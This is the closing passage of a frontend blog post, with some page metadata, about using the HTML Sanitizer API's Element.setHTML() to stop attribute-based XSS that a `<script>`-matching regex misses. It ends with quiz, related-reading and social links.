and watch the concept react live._\n\n\u003C!-- playground:end -->\n\nSo: the filter that looks like it should catch an XSS payload — matching `\u003Cscript>` — was never the vector in the first place. The real hole was in an attribute, and it took a browser method built specifically to close attribute-based holes, by default, with no flag to turn it back off. Even then, the same trap waits one level up: a config written with the 2022 key names looks strict and blocks nothing extra. What's the last \"obviously safe\" filter you shipped that turned out to be blocking the wrong thing entirely?\n\n\u003C!-- quiz:start -->\n\n## 🧠 Test yourself\n\nThink it clicked? **[Take the 9-question quiz →](https:\u002F\u002Fbestpractic.org\u002Fblog\u002Fhtml-sanitizer-api-native-xss-defense\u002Fquiz)**\n\n_Instant feedback, a hint on every question, and an explanation for each answer — right or wrong._\n\n\u003C!-- quiz:end -->\n\n\u003C!-- related:start -->\n\n## 📚 Read next\n\n- [I Shipped 'Passwordless Login.' It Still Asked for a Username.](https:\u002F\u002Fbestpractic.org\u002Fblog\u002Fwebauthn-passkeys-discoverable-credentials)\n- [getCurrentPosition() Doesn't Just Check — It Prompts](https:\u002F\u002Fbestpractic.org\u002Fblog\u002Fpermissions-api-query-before-prompt)\n- [Stop Regex-Parsing document.cookie. Use CookieStore](https:\u002F\u002Fbestpractic.org\u002Fblog\u002Fcookie-store-api-async-cookies)\n\n\u003C!-- related:end -->\n\n---\n\n🚀 **Want more like this?** Every guide, playground, and quiz lives on **[bestpractic.org](https:\u002F\u002Fbestpractic.org\u002F)** — open it and **[sign up free](https:\u002F\u002Fbestpractic.org\u002F)** so the next one finds you.\n\n*Thanks for reading! Let's stay connected:*\n\n- ⭐ **GitHub** — follow me and star the projects: [github.com\u002Fparsajiravand](https:\u002F\u002Fgithub.com\u002Fparsajiravand)\n- 💬 **Discord** — join the frontend best-practices community: [discord.gg\u002Fd9KRhuAwQ](https:\u002F\u002Fdiscord.gg\u002Fd9KRhuAwQ)\n- 📸 **Instagram** — frontend best practices, daily: [@bestpractice___](https:\u002F\u002Fwww.instagram.com\u002Fbestpractice___\u002F)",{"title":111,"canonical":312,"description":313},"https:\u002F\u002Fbestpractic.org\u002Fblog\u002Fhtml-sanitizer-api-native-xss-defense","A regex that strips \u003Cscript> tags misses the XSS that actually runs — an onerror attribute. Element.setHTML(), from the HTML Sanitizer API, strips it natively, and for once Firefox","01a0ec73-12eb-7219-8943-91eb53117d58",{"id":316,"locked":18},"01a0ec73-130b-777a-8a1a-013efd378cd4",[318],{"id":45,"slug":46,"title":48,"_count":319},{"questions":51},[321],{"locale":13,"slug":46},{"id":45,"slug":46,"title":48,"_count":323,"questionCount":51},{"questions":51}]